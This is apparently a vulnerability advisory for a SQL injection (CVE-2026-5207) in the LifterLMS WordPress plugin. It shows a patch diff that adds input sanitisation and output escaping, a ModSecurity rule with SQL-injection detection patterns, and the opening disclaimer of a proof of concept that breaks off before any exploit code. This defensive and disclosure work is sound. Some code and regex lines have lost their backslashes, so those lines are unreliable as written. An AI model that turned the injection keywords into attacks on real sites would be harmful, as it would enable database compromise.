 		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
 		return $wpdb->get_var(
@@ -163,14 +163,16 @@

 		global $wpdb;

-		$lessons = implode( ',', $this->post->get_lessons( 'ids' ) );
-		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+		$lesson_ids = $this->post->get_lessons( 'ids' );

 		// Return early for courses without any lessons.
-		if ( empty( $lessons ) ) {
+		if ( empty( $lesson_ids ) ) {
 			return 0;
 		}

+		$lessons = implode( ',', array_map( 'absint', $this->post->get_lessons( 'ids' ) ) );
+		// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
+
 		return $wpdb->get_var(
 			$wpdb->prepare(
 				"
@@ -229,7 +231,7 @@

 		if ( $order_ids ) {

-			$order_ids = implode( ',', $order_ids );
+			$order_ids = implode( ',', array_map( 'absint', $order_ids ) );

 			global $wpdb;
 			$revenue = $wpdb->get_var(
--- a/lifterlms/includes/class.llms.post-types.php
+++ b/lifterlms/includes/class.llms.post-types.php
@@ -180,12 +180,14 @@
 			// Single payment only.
 			'llms-completed'      => array(
 				'label'       => _x( 'Completed', 'Order status', 'lifterlms' ),
+				/* translators: %s: Completed count, %s: Completed count. */
 				'label_count' => _n_noop( 'Completed <span class="count">(%s)</span>', 'Completed <span class="count">(%s)</span>', 'lifterlms' ),
 			),

 			// Recurring only.
 			'llms-active'         => array(
 				'label'       => _x( 'Active', 'Order status', 'lifterlms' ),
+				/* translators: %s: Active count, %s: Active count. */
 				'label_count' => _n_noop( 'Active <span class="count">(%s)</span>', 'Active <span class="count">(%s)</span>', 'lifterlms' ),
 			),
 			'llms-expired'        => array(
@@ -194,6 +196,7 @@
 			),
 			'llms-on-hold'        => array(
 				'label'       => _x( 'On Hold', 'Order status', 'lifterlms' ),
+				/* translators: %s: On hold count, %s: On hold count. */
 				'label_count' => _n_noop( 'On Hold <span class="count">(%s)</span>', 'On Hold <span class="count">(%s)</span>', 'lifterlms' ),
 			),
 			'llms-pending-cancel' => array(
@@ -204,18 +207,22 @@
 			// Shared.
 			'llms-pending'        => array(
 				'label'       => _x( 'Pending Payment', 'Order status', 'lifterlms' ),
+				/* translators: %s: Pending Payment count, %s: Pending Payment count. */
 				'label_count' => _n_noop( 'Pending Payment <span class="count">(%s)</span>', 'Pending Payment <span class="count">(%s)</span>', 'lifterlms' ),
 			),
 			'llms-cancelled'      => array(
 				'label'       => _x( 'Cancelled', 'Order status', 'lifterlms' ),
+				/* translators: %s: Cancelled count, %s: Cancelled count. */
 				'label_count' => _n_noop( 'Cancelled <span class="count">(%s)</span>', 'Cancelled <span class="count">(%s)</span>', 'lifterlms' ),
 			),
 			'llms-refunded'       => array(
 				'label'       => _x( 'Refunded', 'Order status', 'lifterlms' ),
+				/* translators: %s: Refunded count, %s: Refunded count. */
 				'label_count' => _n_noop( 'Refunded <span class="count">(%s)</span>', 'Refunded <span class="count">(%s)</span>', 'lifterlms' ),
 			),
 			'llms-failed'         => array(
 				'label'       => _x( 'Failed', 'Order status', 'lifterlms' ),
+				/* translators: %s: Failed count, %s: Failed count. */
 				'label_count' => _n_noop( 'Failed <span class="count">(%s)</span>', 'Failed <span class="count">(%s)</span>', 'lifterlms' ),
 			),

@@ -1229,6 +1236,7 @@
 					'exclude_from_search'       => false,
 					'show_in_admin_all_list'    => true,
 					'show_in_admin_status_list' => true,
+					/* translators: %s: Failed count, %s: Failed count. */
 					'label_count'               => _n_noop( 'Failed <span class="count">(%s)</span>', 'Failed <span class="count">(%s)</span>', 'lifterlms' ),
 				),
 				'llms-txn-pending'   => array(
@@ -1237,6 +1245,7 @@
 					'exclude_from_search'       => false,
 					'show_in_admin_all_list'    => true,
 					'show_in_admin_status_list' => true,
+					/* translators: %s: Pending count, %s: Pending count. */
 					'label_count'               => _n_noop( 'Pending <span class="count">(%s)</span>', 'Pending <span class="count">(%s)</span>', 'lifterlms' ),
 				),
 				'llms-txn-refunded'  => array(
@@ -1245,6 +1254,7 @@
 					'exclude_from_search'       => false,
 					'show_in_admin_all_list'    => true,
 					'show_in_admin_status_list' => true,
+					/* translators: %s: Refuned count, %s: Refunded count. */
 					'label_count'               => _n_noop( 'Refunded <span class="count">(%s)</span>', 'Refunded <span class="count">(%s)</span>', 'lifterlms' ),
 				),
 				'llms-txn-succeeded' => array(
--- a/lifterlms/includes/controllers/class.llms.controller.orders.php
+++ b/lifterlms/includes/controllers/class.llms.controller.orders.php
@@ -653,6 +653,7 @@

 		// Record order status changes as notes.
 		if ( 'order' === $post_type ) {
+			/* translators: %1$s: Old Status, %2$s: New status. */
 			$obj->add_note( sprintf( __( 'Order status changed from %1$s to %2$s', 'lifterlms' ), llms_get_order_status_name( $old_status ), llms_get_order_status_name( $new_status ) ) );
 		}

--- a/lifterlms/includes/elementor/class-llms-elementor-widget-base.php
+++ b/lifterlms/includes/elementor/class-llms-elementor-widget-base.php
@@ -21,7 +21,10 @@
 			array(
 				'label'           => '',
 				'type'            => ElementorControls_Manager::RAW_HTML,
-				'raw'             => '<hr><p style="margin-top: 20px;">' . sprintf( esc_html__( 'Learn more about %1$sediting LifterLMS courses with Elementor%2$s', 'lifterlms' ), '<a target="_blank" href="https://lifterlms.com/docs/how-to-edit-courses-with-elementor/?utm_source=LifterLMS%20Plugin&utm_medium=Elementor%20Edit%20Panel%20&utm_campaign=Plugin%20to%20Sale">', '</a>' ) . '</p>',
+				'raw'             => '<hr><p style="margin-top: 20px;">' .
+									/* translators: %1$s: Opening learn more link tag, %2$s: Closing link tag. */
+									sprintf( esc_html__( 'Learn more about %1$sediting LifterLMS courses with Elementor%2$s', 'lifterlms' ), '<a target="_blank" href="https://lifterlms.com/docs/how-to-edit-courses-with-elementor/?utm_source=LifterLMS%20Plugin&utm_medium=Elementor%20Edit%20Panel%20&utm_campaign=Plugin%20to%20Sale">', '</a>' ) .
+									'</p>',
 				'content_classes' => 'lifterlms-notice',
 			)
 		);
--- a/lifterlms/includes/functions/llms-functions-deprecated.php
+++ b/lifterlms/includes/functions/llms-functions-deprecated.php
@@ -89,13 +89,12 @@
 		}

 		// query postmeta table and find all users enrolled
-		$table_name        = $wpdb->prefix . 'lifterlms_user_postmeta';
 		$meta_key_status   = '_status';
 		$meta_value_status = 'Enrolled';

 		$results = $wpdb->get_results(
 			$wpdb->prepare(
-				'SELECT * FROM ' . $table_name . ' WHERE post_id = %d AND meta_key = "%s" AND meta_value = %s ORDER BY updated_date DESC',
+				"SELECT * FROM {$wpdb->prefix}lifterlms_user_postmeta WHERE post_id = %d AND meta_key = %s AND meta_value = %s ORDER BY updated_date DESC",
 				$post->ID,
 				$meta_key_status,
 				$meta_value_status
@@ -117,7 +116,7 @@

 			$start_date = $wpdb->get_results(
 				$wpdb->prepare(
-					'SELECT updated_date FROM ' . $table_name . ' WHERE user_id = %d AND post_id = %d AND meta_key = %s AND meta_value = %s ORDER BY updated_date DESC',
+					"SELECT updated_date FROM {$wpdb->prefix}lifterlms_user_postmeta WHERE user_id = %d AND post_id = %d AND meta_key = %s AND meta_value = %s ORDER BY updated_date DESC",
 					$user_id,
 					$post->ID,
 					$meta_key_start_date,
@@ -152,7 +151,7 @@
 				);

 				// change enrolled to expired in user_postmeta
-				$wpdb->update( $table_name, $status_update, $set_user_expired );
+				$wpdb->update( $wpdb->prefix . 'lifterlms_user_postmeta', $status_update, $set_user_expired );

 				// remove membership id from usermeta array
 				$users_levels = get_user_meta( $user_id, '_llms_restricted_levels', true );
--- a/lifterlms/includes/functions/llms.functions.currency.php
+++ b/lifterlms/includes/functions/llms.functions.currency.php
@@ -30,7 +30,6 @@
 	 * @param string $currency Currency code.
 	 */
 	return apply_filters( 'lifterlms_currency', get_option( 'lifterlms_currency', 'USD' ) );
-
 }

 /**
@@ -85,7 +84,6 @@
 	 * @param array $currencies A list of currency codes to currency names. See "languages/currencies.php" for details.
 	 */
 	return apply_filters( 'lifterlms_currencies', $currencies );
-
 }

 /**
@@ -213,7 +211,6 @@
 	 * @param array $symbols List of currency codes to their symbol. See "languages/currency-symbols.php" for details.
 	 */
 	return apply_filters( 'lifterlms_currency_symbols', $symbols );
-
 }

 /**
@@ -270,7 +267,7 @@
  * @return string
  */
 function llms_price_raw( $price, $args = array() ) {
-	return html_entity_decode( strip_tags( llms_price( $price, $args ) ) );
+	return html_entity_decode( wp_strip_all_tags( llms_price( $price, $args ) ) );
 }

 /**
--- a/lifterlms/includes/functions/llms.functions.templates.dashboard.php
+++ b/lifterlms/includes/functions/llms.functions.templates.dashboard.php
@@ -1015,7 +1015,7 @@
 	 */
 	function lifterlms_template_student_dashboard_wrapper_open( $layout ) {
 		$current = LLMS_Student_Dashboard::get_current_tab( 'slug' );
-		echo '<div class="llms-student-dashboard ' . $current . ' llms-sd-layout-' . esc_attr( $layout ) . '" data-current="' . $current . '">';
+		echo '<div class="llms-student-dashboard ' . esc_attr( $current ) . ' llms-sd-layout-' . esc_attr( $layout ) . '" data-current="' . esc_attr( $current ) . '">';
 	}
 endif;

--- a/lifterlms/includes/integrations/class.llms.integration.bbpress.php
+++ b/lifterlms/includes/integrations/class.llms.integration.bbpress.php
@@ -80,7 +80,8 @@
 	}

 	public function set_title_and_description() {
-		$this->title       = __( 'bbPress', 'lifterlms' );
+		$this->title = __( 'bbPress', 'lifterlms' );
+		/* translators: %1$s: Open learn more link tag, %2$s: Closing tag. */
 		$this->description = sprintf( __( 'Restrict forums and topics to memberships, add forums to courses, and %1$smore%2$s.', 'lifterlms' ), '<a href="https://lifterlms.com/docs/lifterlms-and-bbpress/" target="_blank">', '</a>' );
 	}

--- a/lifterlms/includes/integrations/class.llms.integration.buddypress.php
+++ b/lifterlms/includes/integrations/class.llms.integration.buddypress.php
@@ -80,7 +80,8 @@
 	}

 	public function set_title_and_description() {
-		$this->title       = __( 'BuddyPress', 'lifterlms' );
+		$this->title = __( 'BuddyPress', 'lifterlms' );
+		/* translators: %1$s: Open learn more link tag, %2$s: Closing tag. */
 		$this->description = sprintf( __( 'Add LifterLMS information to user profiles and enable membership restrictions for activity, group, and member directories. %1$sLearn More%2$s.', 'lifterlms' ), '<a href="https://lifterlms.com/docs/lifterlms-and-buddypress/" target="_blank">', '</a>' );
 	}

--- a/lifterlms/includes/widgets/class.llms.widget.php
+++ b/lifterlms/includes/widgets/class.llms.widget.php
@@ -85,7 +85,7 @@
 	 */
 	public function update( $new_instance, $old_instance ) {
 		$instance          = array();
-		$instance['title'] = ( ! empty( $new_instance['title'] ) ) ? strip_tags( $new_instance['title'] ) : '';
+		$instance['title'] = ( ! empty( $new_instance['title'] ) ) ? wp_strip_all_tags( $new_instance['title'] ) : '';

 		return $instance;
 	}
--- a/lifterlms/libraries/lifterlms-helper/class-lifterlms-helper.php
+++ b/lifterlms/libraries/lifterlms-helper/class-lifterlms-helper.php
@@ -24,7 +24,7 @@
 	 *
 	 * @var string
 	 */
-	public $version = '3.5.7';
+	public $version = '3.5.8';

 	/**
 	 * Singleton instance reference
--- a/lifterlms/libraries/lifterlms-helper/includes/views/beta-testing.php
+++ b/lifterlms/libraries/lifterlms-helper/includes/views/beta-testing.php
@@ -64,15 +64,15 @@
 			$addon = llms_get_add_on( $addon );
 			?>
 			<tr>
-				<td><?php echo $addon->get( 'title' ); ?></td>
+				<td><?php echo esc_html( $addon->get( 'title' ) ); ?></td>
 				<td>
-					<select name="llms_channel_subscriptions[<?php echo $addon->get( 'id' ); ?>]">
+					<select name="llms_channel_subscriptions[<?php echo esc_attr( $addon->get( 'id' ) ); ?>]">
 						<option value="stable" <?php selected( 'stable', $addon->get_channel_subscription() ); ?>><?php esc_html_e( 'Stable', 'lifterlms' ); ?></option>
 						<option value="beta" <?php selected( 'beta', $addon->get_channel_subscription() ); ?>><?php esc_html_e( 'Beta', 'lifterlms' ); ?></option>
 					</select>
 				</td>
-				<td><?php echo $addon->get_installed_version(); ?></td>
-				<td><?php echo $addon->get( 'version_beta' ) ? $addon->get( 'version_beta' ) : __( 'N/A', 'lifterlms' ); ?></td>
+				<td><?php echo esc_html( $addon->get_installed_version() ); ?></td>
+				<td><?php echo esc_html( $addon->get( 'version_beta' ) ? $addon->get( 'version_beta' ) : __( 'N/A', 'lifterlms' ) ); ?></td>
 			</tr>
 		<?php endforeach; ?>
 		</tbody>
--- a/lifterlms/libraries/lifterlms-helper/lifterlms-helper.php
+++ b/lifterlms/libraries/lifterlms-helper/lifterlms-helper.php
@@ -10,7 +10,7 @@
  * Plugin Name: LifterLMS Helper
  * Plugin URI: https://lifterlms.com/
  * Description: Update, install, and beta test LifterLMS and LifterLMS add-ons
- * Version: 3.5.7
+ * Version: 3.5.8
  * Author: LifterLMS
  * Author URI: https://lifterlms.com
  * Text Domain: lifterlms
--- a/lifterlms/lifterlms.php
+++ b/lifterlms/lifterlms.php
@@ -10,7 +10,7 @@
  * Plugin Name: LifterLMS
  * Plugin URI: https://lifterlms.com/
  * Description: Complete e-learning platform to sell online courses, protect lessons, offer memberships, and quiz students. WP Learning Management System.
- * Version: 9.2.1
+ * Version: 9.2.2
  * Author: LifterLMS
  * Author URI: https://lifterlms.com/
  * Text Domain: lifterlms
--- a/lifterlms/templates/course/lesson-preview.php
+++ b/lifterlms/templates/course/lesson-preview.php
@@ -19,7 +19,7 @@
 defined( 'ABSPATH' ) || exit;

 $restrictions = llms_page_restricted( $lesson->get( 'id' ), get_current_user_id() );
-$data_msg     = $restrictions['is_restricted'] ? ' data-tooltip-msg="' . esc_html( strip_tags( llms_get_restriction_message( $restrictions ) ) ) . '"' : '';
+$data_msg     = $restrictions['is_restricted'] ? ' data-tooltip-msg="' . esc_html( wp_strip_all_tags( llms_get_restriction_message( $restrictions ) ) ) . '"' : '';

 // Get the section name for this lesson.
 $section       = $lesson->get_parent_section() ? llms_get_post( $lesson->get_parent_section() ) : false;
@@ -46,7 +46,7 @@
 	<section
 	<?php if ( $restrictions['is_restricted'] ) : ?>
 		class="llms-lesson-locked"
-		data-tooltip-msg="<?php echo esc_attr( strip_tags( llms_get_restriction_message( $restrictions ) ) ); ?>"
+		data-tooltip-msg="<?php echo esc_attr( wp_strip_all_tags( llms_get_restriction_message( $restrictions ) ) ); ?>"
 	<?php endif; ?>
 	>
 		<?php if ( $restrictions['is_restricted'] ) : ?>
@@ -73,7 +73,10 @@

 					<aside class="llms-extra">
 						<span class="llms-lesson-counter" aria-hidden="true">
-							<?php echo esc_html( sprintf( _x( '%1$d of %2$d', 'lesson order within section', 'lifterlms' ), isset( $order ) ? $order : $lesson->get( 'order' ), $total_lessons ) ); ?>
+							<?php
+								// Translators: %1$d: Lesson number, %2$d: total number of lessons in section.
+								echo esc_html( sprintf( _x( '%1$d of %2$d', 'lesson order within section', 'lifterlms' ), isset( $order ) ? $order : $lesson->get( 'order' ), $total_lessons ) );
+							?>
 						</span>
 						<?php echo wp_kses_post( $lesson->get_preview_icon_html() ); ?>
 					</aside>
@@ -104,7 +107,7 @@
 				<span class="screen-reader-text"><?php echo esc_attr( $lesson_screen_reader_msg ); ?></span>

 				<?php if ( $restrictions['is_restricted'] ) : ?>
-					<span class="screen-reader-text"><?php echo esc_html( strip_tags( llms_get_restriction_message( $restrictions ) ) ); ?></span>
+					<span class="screen-reader-text"><?php echo esc_html( wp_strip_all_tags( llms_get_restriction_message( $restrictions ) ) ); ?></span>
 				<?php endif; ?>

 			</div>
--- a/lifterlms/templates/myaccount/my-grades-single-table.php
+++ b/lifterlms/templates/myaccount/my-grades-single-table.php
@@ -35,7 +35,7 @@
 				<td class="llms-lesson_title" colspan="2">
 					<?php echo wp_kses_post( sprintf( __( 'Lesson %1$d: %2$s', 'lifterlms' ), $lesson->get( 'order' ), $title ) ); ?>
 					<?php if ( $restricted['is_restricted'] ) : ?>
-						<a data-tooltip-msg="<?php echo esc_attr( strip_tags( llms_get_restriction_message( $restricted ) ) ); ?>" href="#llms-lesson-locked">
+						<a data-tooltip-msg="<?php echo esc_attr( wp_strip_all_tags( llms_get_restriction_message( $restricted ) ) ); ?>" href="#llms-lesson-locked">
 							<i class="fa fa-lock" aria-hidden="true"></i>
 						</a>
 					<?php endif; ?>
--- a/lifterlms/templates/quiz/questions/content-choice.php
+++ b/lifterlms/templates/quiz/questions/content-choice.php
@@ -21,7 +21,7 @@
 	<fieldset class="llms-question-choices">
 		<legend class="sr-only">
 			<?php
-				echo esc_html( strip_tags( $question->get_question( 'html', $attempt ) ) );
+				echo esc_html( wp_strip_all_tags( $question->get_question( 'html', $attempt ) ) );
 			?>
 		</legend>
 		<?php foreach ( $question->get_choices() as $choice ) : ?>
--- a/lifterlms/templates/quiz/questions/content-picture_choice.php
+++ b/lifterlms/templates/quiz/questions/content-picture_choice.php
@@ -24,7 +24,7 @@
 <fieldset class="llms-question-choices type--picture">
 	<legend class="sr-only">
 		<?php
-		echo esc_html( strip_tags( $question->get_question( 'html', $attempt ) ) );
+		echo esc_html( wp_strip_all_tags( $question->get_question( 'html', $attempt ) ) );
 		?>
 	</legend>
 	<?php foreach ( $choices as $choice ) : ?>
--- a/lifterlms/vendor/autoload.php
+++ b/lifterlms/vendor/autoload.php
@@ -3,8 +3,18 @@
 // autoload.php @generated by Composer

 if (PHP_VERSION_ID < 50600) {
-    echo 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
-    exit(1);
+    if (!headers_sent()) {
+        header('HTTP/1.1 500 Internal Server Error');
+    }
+    $err = 'Composer 2.3.0 dropped support for autoloading on PHP <5.6 and you are running '.PHP_VERSION.', please upgrade PHP or use Composer 2.2 LTS via "composer self-update --2.2". Aborting.'.PHP_EOL;
+    if (!ini_get('display_errors')) {
+        if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') {
+            fwrite(STDERR, $err);
+        } elseif (!headers_sent()) {
+            echo $err;
+        }
+    }
+    throw new RuntimeException($err);
 }

 require_once __DIR__ . '/composer/autoload_real.php';
--- a/lifterlms/vendor/composer/ClassLoader.php
+++ b/lifterlms/vendor/composer/ClassLoader.php
@@ -42,35 +42,37 @@
  */
 class ClassLoader
 {
-    /** @var ?string */
+    /** @var Closure(string):void */
+    private static $includeFile;
+
+    /** @var string|null */
     private $vendorDir;

     // PSR-4
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, int>>
+     * @var array<string, array<string, int>>
      */
     private $prefixLengthsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, array<int, string>>
+     * @var array<string, list<string>>
      */
     private $prefixDirsPsr4 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr4 = array();

     // PSR-0
     /**
-     * @var array[]
-     * @psalm-var array<string, array<string, string[]>>
+     * List of PSR-0 prefixes
+     *
+     * Structured as array('F (first letter)' => array('FooBar (full prefix)' => array('path', 'path2')))
+     *
+     * @var array<string, array<string, list<string>>>
      */
     private $prefixesPsr0 = array();
     /**
-     * @var array[]
-     * @psalm-var array<string, string>
+     * @var list<string>
      */
     private $fallbackDirsPsr0 = array();

@@ -78,8 +80,7 @@
     private $useIncludePath = false;

     /**
-     * @var string[]
-     * @psalm-var array<string, string>
+     * @var array<string, string>
      */
     private $classMap = array();

@@ -87,29 +88,29 @@
     private $classMapAuthoritative = false;

     /**
-     * @var bool[]
-     * @psalm-var array<string, bool>
+     * @var array<string, bool>
      */
     private $missingClasses = array();

-    /** @var ?string */
+    /** @var string|null */
     private $apcuPrefix;

     /**
-     * @var self[]
+     * @var array<string, self>
      */
     private static $registeredLoaders = array();

     /**
-     * @param ?string $vendorDir
+     * @param string|null $vendorDir
      */
     public function __construct($vendorDir = null)
     {
         $this->vendorDir = $vendorDir;
+        self::initializeIncludeClosure();
     }

     /**
-     * @return string[]
+     * @return array<string, list<string>>
      */
     public function getPrefixes()
     {
@@ -121,8 +122,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, array<int, string>>
+     * @return array<string, list<string>>
      */
     public function getPrefixesPsr4()
     {
@@ -130,8 +130,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirs()
     {
@@ -139,8 +138,7 @@
     }

     /**
-     * @return array[]
-     * @psalm-return array<string, string>
+     * @return list<string>
      */
     public function getFallbackDirsPsr4()
     {
@@ -148,8 +146,7 @@
     }

     /**
-     * @return string[] Array of classname => path
-     * @psalm-return array<string, string>
+     * @return array<string, string> Array of classname => path
      */
     public function getClassMap()
     {
@@ -157,8 +154,7 @@
     }

     /**
-     * @param string[] $classMap Class to filename map
-     * @psalm-param array<string, string> $classMap
+     * @param array<string, string> $classMap Class to filename map
      *
      * @return void
      */
@@ -175,24 +171,25 @@
      * Registers a set of PSR-0 directories for a given prefix, either
      * appending or prepending to the ones previously set for this prefix.
      *
-     * @param string          $prefix  The prefix
-     * @param string[]|string $paths   The PSR-0 root directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix
+     * @param list<string>|string $paths   The PSR-0 root directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @return void
      */
     public function add($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             if ($prepend) {
                 $this->fallbackDirsPsr0 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr0
                 );
             } else {
                 $this->fallbackDirsPsr0 = array_merge(
                     $this->fallbackDirsPsr0,
-                    (array) $paths
+                    $paths
                 );
             }

@@ -201,19 +198,19 @@

         $first = $prefix[0];
         if (!isset($this->prefixesPsr0[$first][$prefix])) {
-            $this->prefixesPsr0[$first][$prefix] = (array) $paths;
+            $this->prefixesPsr0[$first][$prefix] = $paths;

             return;
         }
         if ($prepend) {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixesPsr0[$first][$prefix]
             );
         } else {
             $this->prefixesPsr0[$first][$prefix] = array_merge(
                 $this->prefixesPsr0[$first][$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -222,9 +219,9 @@
      * Registers a set of PSR-4 directories for a given namespace, either
      * appending or prepending to the ones previously set for this namespace.
      *
-     * @param string          $prefix  The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths   The PSR-4 base directories
-     * @param bool            $prepend Whether to prepend the directories
+     * @param string              $prefix  The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths   The PSR-4 base directories
+     * @param bool                $prepend Whether to prepend the directories
      *
      * @throws InvalidArgumentException
      *
@@ -232,17 +229,18 @@
      */
     public function addPsr4($prefix, $paths, $prepend = false)
     {
+        $paths = (array) $paths;
         if (!$prefix) {
             // Register directories for the root namespace.
             if ($prepend) {
                 $this->fallbackDirsPsr4 = array_merge(
-                    (array) $paths,
+                    $paths,
                     $this->fallbackDirsPsr4
                 );
             } else {
                 $this->fallbackDirsPsr4 = array_merge(
                     $this->fallbackDirsPsr4,
-                    (array) $paths
+                    $paths
                 );
             }
         } elseif (!isset($this->prefixDirsPsr4[$prefix])) {
@@ -252,18 +250,18 @@
                 throw new InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator.");
             }
             $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length;
-            $this->prefixDirsPsr4[$prefix] = (array) $paths;
+            $this->prefixDirsPsr4[$prefix] = $paths;
         } elseif ($prepend) {
             // Prepend directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
-                (array) $paths,
+                $paths,
                 $this->prefixDirsPsr4[$prefix]
             );
         } else {
             // Append directories for an already registered namespace.
             $this->prefixDirsPsr4[$prefix] = array_merge(
                 $this->prefixDirsPsr4[$prefix],
-                (array) $paths
+                $paths
             );
         }
     }
@@ -272,8 +270,8 @@
      * Registers a set of PSR-0 directories for a given prefix,
      * replacing any others previously set for this prefix.
      *
-     * @param string          $prefix The prefix
-     * @param string[]|string $paths  The PSR-0 base directories
+     * @param string              $prefix The prefix
+     * @param list<string>|string $paths  The PSR-0 base directories
      *
      * @return void
      */
@@ -290,8 +288,8 @@
      * Registers a set of PSR-4 directories for a given namespace,
      * replacing any others previously set for this namespace.
      *
-     * @param string          $prefix The prefix/namespace, with trailing '\'
-     * @param string[]|string $paths  The PSR-4 base directories
+     * @param string              $prefix The prefix/namespace, with trailing '\'
+     * @param list<string>|string $paths  The PSR-4 base directories
      *
      * @throws InvalidArgumentException
      *
@@ -425,7 +423,8 @@
     public function loadClass($class)
     {
         if ($file = $this->findFile($class)) {
-            includeFile($file);
+            $includeFile = self::$includeFile;
+            $includeFile($file);

             return true;
         }
@@ -476,9 +475,9 @@
     }

     /**
-     * Returns the currently registered loaders indexed by their corresponding vendor directories.
+     * Returns the currently registered loaders keyed by their corresponding vendor directories.
      *
-     * @return self[]
+     * @return array<string, self>
      */
     public static function getRegisteredLoaders()
     {
@@ -555,18 +554,26 @@

         return false;
     }
-}

-/**
- * Scope isolated include.
- *
- * Prevents access to $this/self from included files.
- *
- * @param  string $file
- * @return void
- * @private
- */
-function includeFile($file)
-{
-    include $file;
+    /**
+     * @return void
+     */
+    private static function initializeIncludeClosure()
+    {
+        if (self::$includeFile !== null) {
+            return;
+        }
+
+        /**
+         * Scope isolated include.
+         *
+         * Prevents access to $this/self from included files.
+         *
+         * @param  string $file
+         * @return void
+         */
+        self::$includeFile = Closure::bind(static function($file) {
+            include $file;
+        }, null, null);
+    }
 }
--- a/lifterlms/vendor/composer/InstalledVersions.php
+++ b/lifterlms/vendor/composer/InstalledVersions.php
@@ -27,12 +27,23 @@
 class InstalledVersions
 {
     /**
+     * @var string|null if set (by reflection by Composer), this should be set to the path where this class is being copied to
+     * @internal
+     */
+    private static $selfDir = null;
+
+    /**
      * @var mixed[]|null
      * @psalm-var array{root: array{name: string, pretty_version: string, version: string, reference: string|null, type: string, install_path: string, aliases: string[], dev: bool}, versions: array<string, array{pretty_version?: string, version?: string, reference?: string|null, type?: string, install_path?: string, aliases?: string[], dev_requirement: bool, replaced?: string[], provided?: string[]}>}|array{}|null
      */
     private static $installed;

     /**
+     * @var bool
+     */
+    private static $installedIsLocalDir;
+
+    /**
      * @var bool|null
      */
     private static $canGetVendors;
@@ -98,7 +109,7 @@
     {
         foreach (self::getInstalled() as $installed) {
             if (isset($installed['versions'][$packageName])) {
-                return $includeDevRequirements || empty($installed['versions'][$packageName]['dev_requirement']);
+                return $includeDevRequirements || !isset($installed['versions'][$packageName]['dev_requirement']) || $installed['versions'][$packageName]['dev_requirement'] === false;
             }
         }

@@ -119,7 +130,7 @@
      */
     public static function satisfies(VersionParser $parser, $packageName, $constraint)
     {
-        $constraint = $parser->parseConstraints($constraint);
+        $constraint = $parser->parseConstraints((string) $constraint);
         $provided = $parser->parseConstraints(self::getVersionRanges($packageName));

         return $provided->matches($constraint);
@@ -309,6 +320,24 @@
     {
         self::$installed = $data;
         self::$installedByVendor = array();
+
+        // when using reload, we disable the duplicate protection to ensure that self::$installed data is
+        // always returned, but we cannot know whether it comes from the installed.php in __DIR__ or not,
+        // so we have to assume it does not, and that may result in duplicate data being returned when listing
+        // all installed packages for example
+        self::$installedIsLocalDir = false;
+    }
+
+    /**
+     * @return string
+     */
+    private static function getSelfDir()
+    {
+        if (self::$selfDir === null) {
+            self::$selfDir = strtr(__DIR__, '\', '/');
+        }
+
+        return self::$selfDir;
     }

     /**
@@ -322,17 +351,27 @@
         }

         $installed = array();
+        $copiedLocalDir = false;

         if (self::$canGetVendors) {
+            $selfDir = self::getSelfDir();
             foreach (ClassLoader::getRegisteredLoaders() as $vendorDir => $loader) {
+                $vendorDir = strtr($vendorDir, '\', '/');
                 if (isset(self::$installedByVendor[$vendorDir])) {
                     $installed[] = self::$installedByVendor[$vendorDir];
                 } elseif (is_file($vendorDir.'/composer/installe

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-5207
SecRule REQUEST_URI "@streq /wp-admin/admin.php" 
  "id:20265207,phase:2,deny,status:403,chain,msg:'CVE-2026-5207 SQL Injection via LifterLMS order parameter',severity:'CRITICAL',tag:'CVE-2026-5207',tag:'WordPress',tag:'LifterLMS',tag:'SQLi'"
  SecRule ARGS_GET:page "@streq llms-reporting" "chain"
    SecRule ARGS_GET:tab "@streq quizzes" "chain"
      SecRule ARGS_POST:order "@rx (?i)(?:union[stnr]+select|select[stnr]+.*from|insert[stnr]+into|update[stnr]+.*set|delete[stnr]+from|drop[stnr]+table|create[stnr]+table|exec(?:ute)?[stnr]+(|load_files*(|into[stnr]+(?:out|dump)file|benchmarks*(|sleeps*(|waitfor[stnr]+delay|pg_sleeps*(|;s*(?:--|#|/*))" 
        "t:lowercase,t:removeWhitespace,t:removeNulls"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
